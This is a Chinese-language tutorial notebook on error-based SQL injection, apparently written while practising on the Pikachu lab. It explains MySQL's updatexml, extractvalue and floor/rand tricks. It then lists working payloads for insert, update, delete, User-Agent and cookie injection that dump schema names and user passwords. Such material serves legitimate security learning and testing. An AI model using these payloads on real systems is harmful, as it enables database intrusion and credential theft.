目录
首先介绍三个函数:
- UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
- EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
- floor():
取整,利用 rand()
的特殊性和group by
的虚拟表,count,最终引起了报错。
参考文章:https://www.cnblogs.com/sfriend/p/11365999.html
基于insert/update 注入:
脑补一下
在表中插入一个用户语句是这样的:
insert into member(username,pw,sex,number,email,address) values(' w' or updatexml(0,concat(0x7e,database()),0) or'')
payload:
w' or updatexml(0,concat(0x7e,database()),0) or'
database()可以换为任意查询语句:
- select TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='pikachu'
- select TABLE_NAME, COLUMN_NAME from INFORMATION_SCHEMA.columns where TABLE_NAME='users'
- select username,password from users
w' or updatexml(0,concat(0x7e,(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='pikachu')),0) or'
group_concat()
功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
insert into member(username,pw,sex,number,email,address) values(' w' or extractvalue(0,concat(0x7e,database())) or'')
payload:
w' or extractvalue(0,concat(0x7e,database())) or'
w' or extractvalue(0,concat(0x7e,(select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.columns where TABLE_NAME='users'))) or'
基于delete注入:
delete属于数字型
发现删除留言服务器会发出get请求,抓包发送repeater:
将id修改为:1 or updatexml(0,concat(0x7e,database()),0)
选中右键转码
send
1 or extractvalue(0,concat(0x7e,database()))
w' or (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) or'
a是别名
http头注入:
输入正确账号密码抓包
发送repeater查看,将UA改为’后,send,报错,说明存在可以注入的漏洞,修改UA为 firefox' or updatexml(1,concat(0x7e,database()),0) or '
cookie:admin' or updatexml(1,concat(0x7e,database()),0) or '